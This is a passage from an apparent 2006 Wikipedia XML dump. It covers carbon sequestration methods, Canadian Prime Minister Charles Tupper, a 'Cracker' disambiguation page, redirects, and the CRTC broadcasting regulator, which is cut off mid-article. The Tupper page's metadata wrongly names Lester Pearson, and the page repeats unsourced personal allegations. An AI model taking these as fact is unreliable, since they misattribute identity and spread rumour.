Oceans are natural carbon dioxide sinks, and as the level of carbon dioxide increases in the atmosphere, the level in the oceans also increases, creating potentially disastrous [[acidic Oceans|acidic oceans]]. Ocean water can hold a variable amount of dissolved CO&lt;sub&gt;2&lt;/sub&gt; depending on temperature and pressure. [[Phytoplankton]] in the oceans, like trees, use photosynthesis to extract carbon from CO&lt;sub&gt;2&lt;/sub&gt;.  They are the starting point of the marine [[food chain]]. Plankton and other marine organisms extract CO&lt;sub&gt;2&lt;/sub&gt; from the ocean water to build their skeletons and shells of the mineral [[calcite]], CaCO&lt;sub&gt;3&lt;/sub&gt;. This removes CO&lt;sub&gt;2&lt;/sub&gt; from the water and more dissolves in from the atmosphere. These calcite skeletons and shells along with the organic carbon of the organism eventually fall to the bottom of the ocean when the organisms die. The carbon or plankton cells have to sink to the deep water in 2000 to 4000 meter to be sequestered for ca. 1000 years. The sinking can be accelerated orders of magnitude when [[zooplankton]] prey on the cells and produce fast sinking fecal pellets or fecal strings, like the [[Antarctic krill]]. This process is called the [[biological pump]]. It has been theorized that the organic carbon within the accumulating ocean bottom sediments is how [[fossil fuel]]s are created.

== Enhancing natural sequestration==
=== Forests ===
Forests are carbon dioxide stores, but the sink effect exists only when they grow in size: it is thus naturally limited. The rate at which forests can sequester carbon, given the available land, is far exceeded by the rate at which it is released by the combustion of fossilised forests (coal, oil and natural gas). It seems clear that the use of forests to curb climate change can only be a temporary measure.  Even optimistic estimates come to the conclusion that the planting of new forests is not enough to counter-balance the current level of [[greenhouse gas]] emissions [http://www.animana.org/tab2/22noeasyanswer.shtml]. To reduce U.S. carbon emissions by 7%, as stipulated in the Kyoto Protocol, would require the planting of &quot;an area the size of Texas every 30 years&quot;, according to William H. Schlesinger, dean of the Nicholas School of the environment and earth sciences at Duke University, in Durham, N.C. [http://www.spectrum.ieee.org/WEBONLY/publicfeature/jan04/0104bio2.html].

Furthermore, forests, particularly new ones, may not be straightforward carbon sinks. Although a forest is a net CO&lt;sub&gt;2&lt;/sub&gt; sink over time, the plantation of new forests may also initially be a source of carbon dioxide emission when carbon from the soil is released into the atmosphere. Other studies indicate that the cooling effect of removing carbon by forest growth can be counteracted by the effects of the forest on reflection of sunlight, or [[albedo]]. Mid-to-high latitude forests have a much lower albedo during snow seasons than flat ground, and this contributes to warming.

The planting of forests provides a number of additional benefits including reduction of erosion, increased water capture, and economic benefits when sustainably harvested.

===Oceans===
One of the most promising ways to increase the carbon sequestration efficiency of oceans is to add micrometre-sized iron particles called [[hematite]] or iron sulfate to the water. This has the effect of stimulating growth of [[plankton]].  Iron is an important nutrient for [[phytoplankton]], usually made available via upwelling along the [[continental shelves]], inflows from rivers and streams, as well as deposition of dust suspended in the [[Earth's atmosphere|atmosphere]]. Natural sources of ocean iron have been declining in recent decades, contributing to an overall decline in ocean productivity (NASA, 2003).  Yet in the presence of iron nutrients plankton populations quickly grow, or 'bloom', expanding the base of [[biomass]] productivity throughout the region and removing significant quantities of CO2 from the atmosphere via [[photosynthesis]].  A test in 2002 in the [[Southern Ocean]] around [[Antarctica]] suggests that between 10,000 and 100,000 carbon atoms are sunk for each iron atom added to the water.  More recent work in Germany (2005) suggests that any biomass carbon in the oceans, whether exported to depth or recycled in the [[euphotic zone]], represents long term storage of carbon.  This means that application of iron nutrients in select parts of the oceans, at appropriate scales, could have the combined effect of restoring ocean productivity while at the same time mitigating the effects of human caused emissions of carbon dioxide to the atmosphere.

Those skeptical of this approach argue that the effect of periodic small scale phytoplankton blooms on ocean ecosystems is unclear, and that more studies would be advantageous.  For example, it's known that phytoplankton have a complex effect on cloud formation via the release of substances such as [[dimethyl sulfide]] ([[DMS]]) which are converted to sulfate aerosols in the atmosphere providing [[cloud condensation nuclei]], or CCN. But the effect of small scale plankton blooms on overall DMS production is unknown.

=== Soils ===
The carbon sequestration potential of [[soil]]s (by increasing [[soil organic matter]]) is substantial; below ground organic carbon storage is more than twice above-ground storage.  Soils' organic carbon levels in many agricultural areas have been severely depleted.  Improving the [[humus]] levels of these soils would both improve soil quality and increase the amount of carbon sequestered in these soils.

Grasslands contribute huge quantities of soil organic matter over time, mostly in the form of roots, and much of this organic matter can remain unoxidized for long periods. Since the 1850s, a large proportion of the world's grasslands have been tilled and converted to croplands, allowing the rapid oxidation of large quantities of soil organic carbon. [[No-till farming|No-till agricultural systems]] can increase the amount of carbon stored in soil, and conversion to pastureland, particularly with good management of grazing, can sequester even more carbon in the soil.

Mechanisms to enhance carbon sequestration in soil include [[no-till farming|conservation tilling]], [[cover crop]]ping, and [[crop rotation]].

==Artificial sequestration==
For carbon to be sequestered artificially (i.e. not using the natural processes of the carbon cycle) it must first be captured. Thereafter it can be stored in a variety of ways. 

[[Natural gas]] purification plants often already have to remove carbon dioxide, either to avoid [[dry ice]] clogging gas tankers or to prevent carbon dioxide concentrations exceeding the 3% maximum permitted on the natural gas distribution grid.

Beyond this, one of the most likely early applications of carbon capture is the capture of carbon dioxide from [[flue gas]]es at [[power station]]s (in the case of coal, this is known as &quot;[[clean coal]]&quot;). A typical new 1000-MW coal-fired power station produces around 6m tons of carbon dioxide annually. Adding carbon capture to existing plants can add significantly to the costs of energy production; scrubbing costs aside, a 1000-MW coal plant will require the storage of about 50 million [[barrel]]s of carbon dioxide a year. However, scrubbing is relatively affordable when added to new plants based on coal gasification technology, where it is estimated to raise energy costs for households in the United States using only coal-fired electricity sources from 10 cents per kWh to 12. {{Ref|SciAmJuly05}}. 

===Carbon capture===
:''Main article:[[Carbon Capture and Storage]]''
Currently, capture of carbon dioxide is performed on a large scale by absorption of carbon dioxide onto various amine based solvents. Other techniques are currently being investigated such as pressure and temperature swing absorption, gas separation membranes and cryogenics. 

In coal-fired power stations, the main alternatives to retro-fitting amine-based absorbers to existing power stations are two new technologies - [[coal gasification]] combined-cycle and [[oxyfuel combustion]]. Gasification first produces a &quot;[[syngas]]&quot; primarily of hydrogen and carbon monoxide, which is burned, with carbon dioxide filtered from the flue gas. Oxyfuel combustion burns the coal in [[oxygen]] instead of air, producing only carbon dioxide and water vapour, which are relatively easily separated. Oxyfuel combustion, however, produces very high temperatures, and the materials to withstand its temperatures are still being developed.

Another long term option is carbon capture directly from the air using hydroxides. The air would literally be scrubbed of its co2 content.  This idea offers an alternative to non-carbon based fuels for the transportation sector.

===Oceans===
Another proposed form of carbon sequestration in the ocean is direct injection.  In this method, carbon dioxide is pumped directly into the water at depth, and expected to form &quot;lakes&quot; of liquid CO&lt;sub&gt;2&lt;/sub&gt; at the bottom. Experiments carried out in moderate to deep waters (350 - 3600 meters) indicate that the liquid CO&lt;sub&gt;2&lt;/sub&gt; reacts to form solid CO&lt;sub&gt;2&lt;/sub&gt; [[clathrate hydrate]]s which gradually dissolve in the surrounding waters. 

This method, too, has potentially dangerous environmental consequences.  The carbon dioxide does react with the water to form [[carbonic acid]], H&lt;sub&gt;2&lt;/sub&gt;CO&lt;sub&gt;3&lt;/sub&gt;; however, most (as much as 99%) remains as dissolved molecular CO&lt;sub&gt;2&lt;/sub&gt;. The equilibrium would no doubt be quite different under the high pressure conditions in the deep ocean. The resulting environmental effects on [[benthic]] life forms of the [[bathypelagic]], [[abyssopelagic]] and [[hadopelagic]] zones are unknown. Even though life appears to be rather sparse in the deep ocean basins, energy and chemical effects in these deep basins could have far reaching implications. Much more work is needed here to define the extent of the potential problems.

It is not clear whether carbon storage in or under oceans is compatible with the [[London Convention]] (''Convention on the Prevention of Marine Pollution by Dumping of Wastes and Other Matter'') [http://www.theyworkforyou.com/wrans/?id=2005-07-04.7044.h].

An additional method of long term ocean based sequestration is to gather crop residue such as corn stalks or excess hay into large weighted bales of biomass and deposit it in the [[alluvial fan]] areas of the deep ocean basin.  Dropping these residues in alluvial fans would cause the residues to be quickly buried in silt on the sea floor, sequestering the biomass for very long time spans.  Alluvial fans exist in all of the world's oceans and seas where river deltas fall off the edge of the continental shelf such as the Mississippi alluvial fan in the gulf of Mexico and the Nile alluvial fan in the Mediterranean Sea.

=== Geological sequestration ===
Also known as ''geo-sequestration'' or ''geological storage'', this method involves injecting carbon dioxide directly into underground geological formations.  Declining [[oil field]]s, saline [[aquifer]]s, and unminable [[coal seam]]s have been suggested as storage sites.  Caverns and old mines, that are commonly used to store natural gas are not considered, because of a lack of storage safety.
CO&lt;sub&gt;2&lt;sub&gt; has been injected into declining oil fields for more than 30 years, to increase oil recovery.  This option is attractive because the storage cost are offset by the sale of additional oil that is recovered. Further benefits are the existing infrastructure, and the geophysical and geological information about the oil field that is available from the oil exploration. All oil fields have a geological barrier preventing upward migration of buoyant fluids (oil in the past, CO&lt;sub&gt;2&lt;sub&gt; in the future).
Disadvantages of old oil fields are their geographic distribution and their limited capacity.
Unminable coal seams can be used to store CO&lt;sub&gt;2&lt;sub&gt;, because CO&lt;sub&gt;2&lt;sub&gt; adsorbs to the coal surface, ensuring safe long term storage.  In the process it releases methane, that was previously adsorbed to the coal surface, and that may be recovered.  Again the sale of the methane can be used to offset the cost of the CO&lt;sub&gt;2&lt;sub&gt; storage.
Saline aquifers contain highly mineralized brines, and have so far been considered of no benefit to humans.  Saline aquifers have been used for storage of chemical waste in a few cases.  The main advantage of saline aquifers is their large potential storage volume and their common occurrence.  This will reduce the distances over which CO&lt;sub&gt;2&lt;sub&gt; has to be transported.  The major disadvantage of saline aquifers is that relatively little is known about them, compared to oil fields.  To keep the cost of storage acceptable the geophysical exploration may be limited, resulting in larger uncertainty about the aquifer structure. Unlike storage in oil fields or coal beds no side product will offset the storage cost. Leakage of CO&lt;sub&gt;2&lt;sub&gt; back into the atmosphere, may be a problem in saline aquifer storage.  However, current research shows that several ''trapping mechanisms'' immobilize the CO&lt;sub&gt;2&lt;sub&gt; underground, reducing the risk of leakage.
A major research project examining the geological sequestration of carbon dioxide is currently being performed at an oil field at [[Weyburn, Saskatchewan|Weyburn]] in southeastern [[Saskatchewan]]. In the North Sea, Norway's Statoil natural gas platform Sleipner strips carbon dioxide out of the natural gas with amine solvents and disposes of this carbon dioxide by geological sequestration. Sleipner reduces emissions of carbon dioxide by approximately one million tonnes a year. The cost of geological sequestration is minor relative to the overall running costs. As of April 2005, [[BP]] are considering a trial of large-scale sequestration of carbon dioxide stripped from power plant emissions in the Miller oilfield as its reserves are depleted.

=== Mineral sequestration ===
Mineral sequestration aims to trap carbon by placing it in its thermodynamics groundstate where it will be nonreactive. This occurs naturally and is responsible for much of the surface limestone. Acids are used to convert mineral silicates to mineral carbonates. Ongoing research aims to speed up the kinetics of the reactions.

== Carbon sinks and the Kyoto Protocol ==
The protocols hold that, since growing vegetation absorbs [[carbon dioxide]], countries that have large areas of forest (or other vegetation) can deduct a certain amount from their emissions, thus making it easier for them to achieve the desired emission levels. The effectiveness of these provisions is controversial.

Some countries want to be able to trade in emission rights in carbon emission markets, to make it possible for one country to buy the benefit of carbon dioxide sinks in another country. It is said that such a market mechanism will help find cost-effective ways to reduce greenhouse emissions.  There is as yet no [[carbon audit regime]] for all such markets globally, and none is specified in the [[Kyoto Protocol]].  Each nation is on its own to verify actual carbon emission reductions, and to account for carbon sequestration using some less formal method.  

==Notes==
# {{Note|SciAmJuly05}} ''[[Scientific American]]'', July 2005, p42

== See also ==
* [[Carbon capture and storage]]
* [[Carbon cycle]]
* [[Global warming]]
* [[Greenhouse gas]]
* [[Kyoto Protocol]]
* [[North American Carbon Program]]

==References and external links==
===General===
*[http://www.netl.doe.gov/technologies/carbon_seq/index.html National Energy Technology Laboratory (NETL) Carbon Sequestration Home Page]
*[http://cdiac2.esd.ornl.gov/  U.S. Department of Energy's Office of Science Carbon Sequestration Research Programs]
*[http://www.netl.doe.gov/publications/carbon_seq/2005_roadmap_for_web.pdf U.S. Department of Energy's National Energy Technology Laboratory - Carbon Sequestration Technology Roadmap]
*[http://www.offsetopportunity.com/ The Carbon Offset Opportunity Program: A Tool for Collaborative Carbon Sequestration Project Development]
*[http://sequestration.mit.edu/  Carbon Capture and Sequestration Technologies Program at MIT]
*[http://www.co2captureandstorage.info/ International industry R&amp;D group focussed on CO&lt;sub&gt;2&lt;/sub&gt; sequestration]
*[http://www.co2captureproject.org/reports/reports.htm CO2 Capture Project]
*[http://www.princeton.edu/~cmi/ Carbon Mitigation Initiative]
*[http://www.secarbon.org/ Southeast Regional Carbon Sequestration Partnership (SECARB)]
*[http://climatechangeaction.blogspot.com/2005/11/carbon-capture-and-storage-whats-that.html Carbon Capture and Storage (CCS) from power plants explained]
*[http://www.abc.net.au/catalyst/stories/s1195633.htm 'Catalyst' on Australian science TV on geosequestration]
*[http://www.nacarbon.org The U.S. North American Carbon Program]
*[http://www.yeomansplow.com.au/priority-one.htm Priority One: Together we can beat global warming, downloadable book]
*[http://pangea.stanford.edu/~mhesse/NewsLinks.html Collection of recent news articles on CO2 capture and storage]

===Research===
* [[Food and Agriculture Organization|FAO]] (2004) [http://www.fao.org/docrep/007/y5738e/y5738e00.htm Carbon sequestration in dryland soils]
*IEA Reports: [http://www.ieagreen.org.uk/putcback.pdf Putting carbon back into the ground (pdf)] and [http://www.ieagreen.org.uk/oceanrep.pdf Ocean storage of CO&lt;sub&gt;2&lt;/sub&gt; (pdf)]
*Haszeldine (2005) [http://www.geos.ed.ac.uk/research/subsurface/diagenesis/CO2_sites_biofuel.pdf Deep geological CO2 storage: principles, and prospecting for bio-energy disposal sites (pdf)]
*The Role of Carbon in Agricultural Soils ''in'' Carbon Sequestration - A Better Alternative for Climate Change? Chapter 1: Agricultural Sinks (1999) University of Maryland [http://www.puaf.umd.edu/faculty/nelson/carbseq/pdf/1.pdf pdf format] [http://www.puaf.umd.edu/faculty/nelson/carbseq/CHAPTER%201.doc doc format]
* Schlesinger, W.H. 1991. ''Biogeochemistry: An Analysis of Global Change''. Academic Press, San Diego.
*[http://www.mcgill.ca/reporter/32/15/roulet/ Peat bogs may be soaking up 10 to 20% of the excess CO&lt;sub&gt;2&lt;/sub&gt; generated by human activity]
*[http://saga.pmel.noaa.gov/review/dms_climate.html DMS and Climate]

===Action===
*[http://news.bbc.co.uk/2/hi/science/nature/3930245.stm  Britain entertains the idea]
*''[[Seattle Times]]'', [[20 February]] [[2004]], [http://seattletimes.nwsource.com/html/nationworld/2001861641_carbon19.html Canada pumps CO&lt;sub&gt;2&lt;/sub&gt; underground] (Weyburn oil field)
*[http://www.csmonitor.com/2003/0624/p02s02-usgn.html United States pumps CO&lt;sub&gt;2&lt;/sub&gt; underground]
*Observer [[24 April]] [[2005]]  [http://observer.guardian.co.uk/uk_news/story/0,6903,1469010,00.html Seabed supplies a cure for global warming crisis]
*[http://www.tyndall.ac.uk/publications/fact_sheets/t2_21.shtml Tyndall Centre - Assessing the potential for geological carbon sequestration in the UK]

[[Category:Climate change]]
[[Category:Climate forcing agents]]
[[Category:Photosynthesis]]
[[de:CO2-Sequestrierung]]
[[fr:Puits de carbone]]</text>
    </revision>
  </page>
  <page>
    <title>Charles Tupper</title>
    <id>5981</id>
    <revision>
      <id>41915269</id>
      <timestamp>2006-03-02T16:17:18Z</timestamp>
      <contributor>
        <ip>199.235.123.239</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox PM
 | name=[[The Right Honourable|Rt. Hon.]] Sir Charles Tupper
 | image=Sir charles tupper.jpg
 | country=Canada
 | term=[[May 1]], [[1896]] &amp;ndash; [[July 8]], [[1896]]
 | before=[[Mackenzie Bowell]]
 | after=[[Wilfrid Laurier]]
 | date_birth=[[July 2]], [[1821]]
 | place_birth=[[Amherst, Nova Scotia]]
 | date_death=[[October 30]], [[1915]]
 | place_death=[[Bexleyheath]], [[England]]
 | party=[[Conservative Party of Canada (historical)|Conservative]]
}}
:''Not to be confused with Sir [[Charles Hibbert Tupper]] who was Sir Charles Tupper's son''
'''Sir Charles Tupper''', [[Order of St Michael and St George|GCMG]], [[Order of the Bath|CB]], [[Queen's Privy Council for Canada|PC]], [[Doctor of Civil Law|DCL]], [[Doctor of Laws|LL.D]], [[Doctor of Medicine|MD]] ([[July 2]], [[1821]] – [[October 30]], [[1915]]) was the sixth [[Prime Minister of Canada]] and, [[as of 2006]], the one with the shortest term of office. 

Tupper was born in [[Amherst, Nova Scotia]], studied at the [[University of Edinburgh]], [[Scotland]], and became a [[physician|doctor]] upon his graduation in [[1843]]. In [[1846]], he married [[Frances Tupper|Frances Morse]] ([[1826]]-[[1912]]), with whom he had three sons (Orin Stewart, [[Charles Hibbert Tupper|Charles Hibbert]], and [[William Johnston Tupper|William Johnston]]) and three daughters (Emma, Elizabeth Stewart (Lilly), and Sophy Almon). 

He entered [[Nova Scotia]] politics in [[1855]] and became premier in [[1864]] as leader of the [[Confederation Party]]. As a delegate to the [[Charlottetown Conference|Charlottetown]], [[Quebec Conference|Quebec]], and [[London]] conferences, Tupper guided his province into [[Canadian Confederation|Confederation]]. 

Sir Charles Tupper's public career was long and successful. He was [[Canada]]'s [[High Commissioner]] in [[United Kingdom|Great Britain]] from [[1884]] to [[1887]], and later served as one of Sir [[John A. Macdonald]]'s key lieutenants. In [[1895]], he returned from service as Canada's representative in Britain to take over the leadership of the [[Conservative Party of Canada (historical)|Conservative party]], replacing [[Mackenzie Bowell]]. The Conservative Party was &quot;dissatisfied&quot; in Bowell's leadership because of the controversial [[Manitoba Schools Question]]. Despite these successes, Tupper was [[Prime Minister of Canada]] for just 69 days in [[1896]], the shortest term ever for a Canadian Prime Minister. He was also the oldest, at the age of 74, to assume the office.

Tupper led the Conservatives into the [[Canadian federal election, 1896|1896 election]]; however, the question of the educational rights of [[French-Canadian|French-speaking]] [[Manitoba]]ns turned voters towards the [[Liberal Party of Canada|Liberals]] under [[Wilfrid Laurier]]. Despite garnering 46.5% of the votes, in comparison to 45% for the Liberals, Tupper's Conservatives were defeated. He retired from the federal scene in [[1901]], after thirty years in national politics.

Sir Charles Tupper died in [[Bexleyheath]], [[Kent]], England at the age of 94, and was brought home to be buried in St. John's Cemetery, [[Halifax Regional Muncipality, Nova Scotia|Halifax, Nova Scotia]].

Tupper was also a notorious womanizer, his nickname 'The Ram of Cumberland' being believed to have a dual meaning.  He allegedly seduced an older woman to pay for his doctorate, and was sued by his secretary while in his 70's. Rumours swirled about his paternity of a child and his advising the woman to have an abortion, although the case was eventually settled.  There is evidence that during his retirement he had returned to monogamy.

== External links ==

*[http://www.biographi.ca/EN/ShowBio.asp?BioId=41869 Biography at the ''Dictionary of Canadian Biography Online'']
*[http://www.parl.gc.ca/information/about/people/key/bio.asp?lang=E&amp;query=1875&amp;s=M Political biography from the Library of Parliament]

{{start box}} 
{{succession box | before=[[James W. Johnston]] | title=[[List of Nova Scotia premiers|Premier of Nova Scotia]] | years=1864&amp;ndash;1867 | after=[[Hiram Blanchard]]}}
{{succession box | before=[[Archibald McLelan]] | title=[[Minister of Finance (Canada)|Minister of Finance]] | after=[[George Eulas Foster|Sir George Foster]]| years=1887&amp;ndash;1888}}
{{succession box | before=[[Mackenzie Bowell]] | title=[[Conservative Party of Canada (historical)|Leader of the Conservative Party of Canada]] | years = 1896-1901 | after = [[Robert Borden]]}}
{{succession box | before=[[Mackenzie Bowell|Sir Mackenzie Bowell]] | title=[[Prime Minister of Canada]] | years = 1896 | after=[[Wilfrid Laurier|Sir Wilfrid Laurier]]}}
{{succession box | before=[[Wilfrid Laurier]] | title=[[Leader of the Opposition (Canada)|Leader of the Opposition]] | after=[[Robert Borden]] | years=1896&amp;ndash;1901}} 
{{end box}}
{{start box}}
{{succession box|
 before=None|
 title=[[Cumberland (electoral district)|MP for Cumberland, NS]]|
 after=[[Charles J. Townsend]]|
 years=1867&amp;ndash;1884
}}
{{succession box|
 before=[[David McKeen]]|
 title=[[Cape Breton (electoral district)|MP for Cape Breton, NS]]|
 after=[[Alexander Johnston (politician)|Alexander Johnston]]|
 years=1887&amp;ndash;1900
}}
{{end box}}

{{canPM}}

{{Conservative Leaders}}

[[Category:1821 births|Tupper, Charles]]
[[Category:1915 deaths|Tupper, Charles]]
[[Category:Canadian Ministers of Finance|Tupper, Charles]]
[[Category:Canadian Ministers of Railways and Canals|Tupper, Charles]]
[[Category:Canadian lawyers|Tupper, Charles]]
[[Category:Canadian physicians|Tupper, Charles]]
[[Category:Companions of the Bath|Tupper, Charles]]
[[Category:Fathers of Confederation|Tupper, Charles]]
[[Category:Leaders of the Conservative Party of Canada|Tupper, Charles]]
[[Category:Members of the Canadian House of Commons from Nova Scotia|Tupper, Charles]]
[[Category:Members of the Privy Council|Tupper, Charles]]
[[Category:Members of the Queen's Privy Council for Canada|Tupper, Charles]]
[[Category:Nova Scotia premiers|Tupper, Charles]]
[[Category:Canadian diplomats|Tupper, Charles]]
[[Category:Prime Ministers of Canada|Tupper, Charles]]
[[Category:Ulster-Scottish Canadians|Tupper, Charles]]
[[Category:University of Edinburgh alumni|Tupper, Charles]]
[[Category:People from Cumberland County, Nova Scotia|Tupper, Charles]]
[[Category:Knights Grand Cross of St Michael and St George|Tupper, Charles]]
[[Category:Pre-Confederation Nova Scotia people|Tupper, Charles]]
[[Category:Irish Canadians|Tupper, Charles]]

&lt;!-- Metadata: see [[Wikipedia:Persondata]] --&gt;
{{Persondata
|NAME=Pearson, Lester Bowles &quot;Mike&quot;
|ALTERNATIVE NAMES=
|SHORT DESCRIPTION=6th Prime Minister of Canada ([[1896]])
|DATE OF BIRTH=[[July 2]], [[1821]]
|PLACE OF BIRTH=[[Amherst, Nova Scotia]]
|DATE OF DEATH=[[October 30]], [[1915]]
|PLACE OF DEATH=[[Bexleyheath]], [[Kent]]
}}

[[de:Charles Tupper]]
[[fr:Charles Tupper]]
[[pl:Charles Tupper]]
[[pt:Charles Tupper]]</text>
    </revision>
  </page>
  <page>
    <title>Cracker</title>
    <id>5982</id>
    <revision>
      <id>42093940</id>
      <timestamp>2006-03-03T20:05:47Z</timestamp>
      <contributor>
        <username>Leandrod</username>
        <id>3915</id>
      </contributor>
      <minor />
      <comment>Consolidation, hyperl.</comment>
      <text xml:space="preserve">The word '''cracker''' can refer to:

* [[Cracker (food)]], a thin, crisp, edible wafer, usually salty rather than sweet (usually &quot;biscuit&quot; in Commonwealth English)
* A person who engages in [[security cracking | security]] or [[software cracking]], circumventing computer security systems; also known as a [[black hat]] [[hacker]].
* [[Christmas cracker]]
* [[White cracker]], a slang word for a white person that is usually considered pejorative
* The television crime drama series  [[Cracker (British television)|''Cracker'' (British television)]]
* [[Cracker (U.S. television)|''Cracker'' (U.S. television)]], the U.S. remake of the British television series
* [[Cracker (band)]], a rock music band
* [[Cracker (comic)]], a British children's comic
* A short length of twisted twine or string attached to the end of a [[whip]]
* Someone who smokes or sells crack [[cocaine]]

==See also==
* [[Crack (disambiguation)]]
* [[Cracking (chemistry)]], a chemical process in which large molecules are broken up into simpler, smaller ones
* [[Crackers (1984 film)|''Crackers'' (1984 film)]], starring Sean Penn
* [[Crackers (1998 film)|''Crackers'' (1998 film)]], Australian comedy
* [[Firecracker]]

{{disambig}}

[[da:Cracker]]
[[fr:Cracker]]
[[it:Cracker]]
[[ja:クラッカー]]
[[pl:Cracker]]
[[pt:Cracker]]
[[sl:Lomač]]
[[fi:Krakkeri]]</text>
    </revision>
  </page>
  <page>
    <title>Computer Science</title>
    <id>5983</id>
    <revision>
      <id>15904150</id>
      <timestamp>2004-03-13T22:33:19Z</timestamp>
      <contributor>
        <username>Jiang</username>
        <id>10049</id>
      </contributor>
      <minor />
      <comment>Reverted edits by Arvind Singh to last version by Conversion script</comment>
      <text xml:space="preserve">#REDIRECT [[Computer science]]</text>
    </revision>
  </page>
  <page>
    <title>CRTC</title>
    <id>5984</id>
    <revision>
      <id>15904151</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Canadian Radio-television and Telecommunications Commission]]
</text>
    </revision>
  </page>
  <page>
    <title>Canadian Radio-television and Telecommunications Commission</title>
    <id>5985</id>
    <revision>
      <id>39761582</id>
      <timestamp>2006-02-15T18:24:19Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/199.216.110.29|199.216.110.29]] ([[User talk:199.216.110.29|talk]]) to last version by Gaius Cornelius</comment>
      <text xml:space="preserve">[[Image:CRTC.jpg|right]]The '''Canadian Radio-television and Telecommunications Commission''' ('''CRTC''', in [[French language|French]] ''Conseil de la radiodiffusion et des télécommunications canadiennes'') was established in [[1968]] by the [[Parliament of Canada|Canadian Parliament]] to replace the [[Board of Broadcast Governors]]. 

==What the CRTC regulates==
It regulates all [[Canada|Canadian]] broadcasting and telecommunications activities and enforces rules it creates to carry out the policies assigned to it; the best-known of these is probably the [[Canadian content]] rules. The CRTC reports to the [[Parliament of Canada]] through the [[Minister of Canadian Heritage]], which is responsible for the Broadcasting Act, and has an informal relationship with [[Industry Canada]], which is responsible for the Telecommunications Act.  Provisions in these two acts, along with less-formal instructions to the CRTC known as [[Order-in-Council|orders-in-council]], represent the bulk of the CRTC's jurisdiction, sometimes leaving the CRTC less room to manoeuvre than some critics appear to allow, and the result is that the CRTC is often the lightning rod for policy criticism that could arguably be better directed at the government itself.

The CRTC was originally known as the Canadian Radio-Television Commission. In 1976, jurisdiction over telecommunications services, most of which were then delivered by monopoly common carriers (e.g. telephone companies), was transferred to it from the [[Canadian Transport Commission]], and although the abbreviation CRTC remained the same, the &quot;T&quot; now refers to Telecommunications. On the telecom side, the CRTC originally regulated only privately-held common carriers, such as B.C. Tel (now part of Telus), in which a U.S. company had a substantial stake; Bell Canada, which served [[Ontario]], most of [[Quebec]], and part of the [[Northwest Territories]]; and operations in Newfoundland, the Northwest Territories, Yukon and northern B.C. Other telephone companies, many of which were publicly-owned, were regulated by provincial authorities until court rulings during the 1990s affirmed federal jurisdiction over the sector, which also included some fifty small independent incumbents, most of them in Ontario and Quebec.

==Regulation of broadcast distributors==
The CRTC has in the past regulated the prices [[cable television]] broadcast distributors are allowed to charge. In most major markets, however, prices are no longer regulated due to increased competition for broadcast distribution from [[satellite television]].

The CRTC also regulates which channels broadcast distributors must or may offer. Per the [http://laws.justice.gc.ca/en/B-9.01/8815.html Broadcasting Act] (at 3.(1)(t)(i)) the commission also gives priority to Canadian signals&amp;mdash;many non-Canadian channels which compete with Canadian channels are thus not approved for distribution in Canada.  The CRTC argues that allowing free trade in television stations would overwhelm the smaller Canadian market, preventing it from upholding its responsibility to foster a national conversation.  Some people, however, consider this tantamount to [[censorship]]. 

The CRTC's [[simultaneous substitution]] rules require that when a Canadian network licenses a television show from a [[United_States|US]] network and shows it in the same time slot, upon request by the Canadian broadcaster, broadcast distributors must replace the show on the US channel with the broadcast of the Canadian channel, along with any overlays and commercials.  If ''[[Seinfeld]]'' is on [[CTV]] and on [[American Broadcasting Company|ABC]], for instance, the cable, satellite, or other broadcast distributor must send the CTV feed on ABC's channel, even where the ABC version is somehow different, particularly a different episode. The goal of this policy is to create a market in which Canadian networks can realize revenue through advertising sales in spite of their inability to match the rates that the much larger American networks can afford to pay for syndicated programming.  But this also means that, because Canadian broadcasters often purchase rights to fewer episodes of a syndicated program than do American broadcasters, Canadian viewers watching American networks have access to less episodes of many syndicated programs -- and see more reruns -- than do many American viewers watching the same American networks.  This policy is also why Canadian viewers do not see American advertisements during the [[Super Bowl]], even when tuning into one of the many American networks carried on Canadian televisions.

==Controversial decisions==

Since 2004, the CRTC has been involved in several controversial decisions:

* '''[[CHOI]]''': The CRTC announced it would not renew the licence of the popular [[CHOI]] radio station in Quebec, after having previously sanctioned the station for failing to uphold its promise of performance and then, during the years following, receiving about 50 complaints about offensive behaviour by radio jockeys which similarly contravened CRTC rules on broadcast hate speech. Many thousands of the station's fans marched in the streets and on [[Parliament Hill]] against the decision, and the parent company of CHOI, Genex Corp., appeled the CRTC decision unsuccessfully to the Federal Court of Canada.

* '''[[RAI]]''': This [[Italy|Italian]] station was denied a broadcast license on the grounds that it would compete with [[Telelatino]], a Canadian-run station which already produces shows in Italian. Many Italian-Canadians who either preferred RAI or could not receive Telelatino were, however, using [[satellite television|satellite]] viewing cards obtained via the US in order to watch RAI, even though these cards were either [[grey market]] or [[black market]], according to different analyses (see below). Following a subsequent review of the CRTC's policy on third-language foreign service, the service was approved in early 2005, but other foreign channels - for instance, those broadcasting in Spanish and therefore also competing with Telelatino's Spanish-/Italian-language broadcasts - remain affected by the policy, which seeks to promote the Canadian production of content.

* '''[[Al Jazeera]]''': Despite concerns over possible [[anti-Semitic]] incitement on this station, it was approved by the CRTC as an optional cable and satellite offering, but on the condition that any carrier distributing it must edit out any instances of illegal hate speech.  Cable companies declared that these restrictions would make it too expensive to carry Al Jazeera.  Although no cable company released data as to what such a monitoring service would cost, the end-result was that no cable company elected to carry the station, either, leaving many Arabic-speaking Canadians subscribed to grey-/black-market dishes.  The [[Canadian Jewish Congress]] has expressed its opinion that the restrictions on Al Jazeera are appropriate, while the Canadian [[B'nai Brith]] is opposed to any approval of Al Jazeera in Canada. 

* '''[[Fox News]]''': Until 2004, the CRTC's apparent reluctance to grant a digital licence to Fox News under the same policy which made it difficult for RAI to enter the country - same-genre competition from foreign services - had angered many [[conservative]] Canadians, who believed the network was deliberately being kept out due to its perceived [[conservative bias]], particularly given the long-standing availability of services such as [[CNN]] and [[BBC World]] in Canada.  On [[November 18]], 2004, however, the CRTC approved an application by Fox News to offer its services to Canadians.  Fox commenced broadcasting in Canada shortly thereafter.

